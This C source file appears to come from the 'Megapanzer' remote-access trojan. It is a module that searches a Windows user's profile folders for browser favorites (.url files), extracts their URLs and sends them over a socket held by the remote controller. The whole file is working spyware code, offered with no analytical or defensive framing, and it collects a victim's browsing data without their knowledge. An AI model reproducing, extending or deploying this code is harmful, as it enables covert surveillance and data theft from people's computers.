#include <windows.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "Megapanzer_Definitions.h"




DWORD WINAPI sendBrowserFavoritesInfos(PVOID pParameter)
{
  int lFuncRetVal = 0;
  int lRetVal = 0;
  char lTemp[MAX_BUF_SIZE + 1];
  char *lHomeDirectory = NULL;
  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter; 

  ZeroMemory(lTemp, sizeof(lTemp));
  snprintf(lTemp, sizeof(lTemp) - 1, "<browserfavorites>");
  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

  if ((lHomeDirectory = getenv("HOMEPATH")) != NULL)
  {
    findFavoritesFiles(lCommandStructure->lRemoteSocket, lHomeDirectory);
  } else {
    findFavoritesFiles(lCommandStructure->lRemoteSocket, "c:\\dokumente und einstellungen\\");
    findFavoritesFiles(lCommandStructure->lRemoteSocket, "c:\\document and settings\\");
  }

  ZeroMemory(lTemp, sizeof(lTemp));
  snprintf(lTemp, sizeof(lTemp) - 1, "</browserfavorites>");
  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

  return(lRetVal);
}



int findFavoritesFiles(SOCKET pRemoteSocket, char *pDirectory)
{
   WIN32_FIND_DATA lFileData; 
   HANDLE lSearchHandle;  
   char lFilePattern[MAX_BUF_SIZE + 1]; 
   char lSubDirectory[MAX_BUF_SIZE + 1];
   char lHistoryFile[MAX_BUF_SIZE + 1];
   int lRetVal = 0;
   
   if (pDirectory[strlen(pDirectory) - 1] != '\\')
     strcat(pDirectory, "\\");

   ZeroMemory(lFilePattern, sizeof(lFilePattern));
   _snprintf(lFilePattern, sizeof(lFilePattern) - 1, "%s*", pDirectory);
          
   if ((lSearchHandle = FindFirstFile(lFilePattern, &lFileData)) == INVALID_HANDLE_VALUE) 
   { 
     lRetVal = 1;
     goto END;
   } // if ((lSearchHandle = Find..
 	
   do 
   { 
     if(lFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
     {
       if (strcmp(lFileData.cFileName, ".") && strcmp(lFileData.cFileName, ".."))
       {
         ZeroMemory(lSubDirectory, sizeof(lSubDirectory));
         _snprintf(lSubDirectory, sizeof(lSubDirectory) - 1, "%s%s\\", pDirectory, lFileData.cFileName);
         findFavoritesFiles(pRemoteSocket, lSubDirectory);
       } // if (strcmp(lFileDa...
     } else {
       if (strstr(lFileData.cFileName, ".url"))
       {
         ZeroMemory(lHistoryFile, sizeof(lHistoryFile));
         _snprintf(lHistoryFile, sizeof(lHistoryFile) - 1, "%s%s", pDirectory, lFileData.cFileName);
         listFavoritesEntries(pRemoteSocket, lHistoryFile);
       } // if (strstr(lFileData...
     } // if(lFileData.dwFileAt...
   } while (FindNextFile(lSearchHandle, &lFileData));

END:

  if (lSearchHandle != INVALID_HANDLE_VALUE) FindClose(lSearchHandle);
   
  return(lRetVal);   
}




int listFavoritesEntries(SOCKET pRemoteSocket, char *pFileName)
{
  HANDLE lFileHandle = INVALID_HANDLE_VALUE;
  int lRetVal = 0;
  int lFuncRetVal = 0;
  char lTemp[MAX_BUF_SIZE + 1];
  char lDataBuffer[MAX_BUF_SIZE + 1];
  char *lURLPointer = NULL;
  int lLastPosition = 0;
  char *lFileDataBuffer = NULL;
  DWORD lBytesRead = 0;

  if ((lFileHandle = CreateFile(pFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
  {
    if ((lFileDataBuffer = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, GetFileSize(lFileHandle, 0))) != NULL)
    {
      ZeroMemory(lDataBuffer, sizeof(lDataBuffer));

      if (ReadFile(lFileHandle, lFileDataBuffer, GetFileSize(lFileHandle, 0),  &lBytesRead, NULL))
      {
        lLastPosition = 0;
        while(readLine(lDataBuffer, sizeof(lDataBuffer) - 1, lFileDataBuffer, GetFileSize(lFileHandle, 0), &lLastPosition))
        {
            ////
           // delete trailing NL/CR
          ////

          while (lDataBuffer[strlen(lDataBuffer) - 1] == '\n' || lDataBuffer[strlen(lDataBuffer) - 1] == '\r')
            lDataBuffer[strlen(lDataBuffer) - 1] = '\0';


             ////
            // find URL-entry in favorite file
           ////

          if (strncmp(lDataBuffer, "url=", 4) == 0 || strncmp(lDataBuffer, "URL=", 4) == 0)
          {
            lURLPointer = lDataBuffer + 4;

            ZeroMemory(lTemp, sizeof(lTemp));
            _snprintf(lTemp, sizeof(lTemp) - 1, "<favoriteentry><filename>%s</filename><url>%s</url></favoriteentry>", pFileName, lURLPointer);
            lFuncRetVal = send(pRemoteSocket, lTemp, strlen(lTemp), 0);
          }

          ZeroMemory(lDataBuffer, sizeof(lDataBuffer));
        } // while(readLine(lDataBuffer, si...
      } // if ((lFileDataBuffer = (char *) Heapalloc(...
    } // if (ReadFile(lFil...
  } // if ((lFileHandle = CreateFile(...

END:

  if (lFileDataBuffer != NULL)
    HeapFree(GetProcessHeap(), 0, lFileDataBuffer);

  if (lFileHandle != INVALID_HANDLE_VALUE)
    CloseHandle(lFileHandle);

  return(lRetVal);    
}
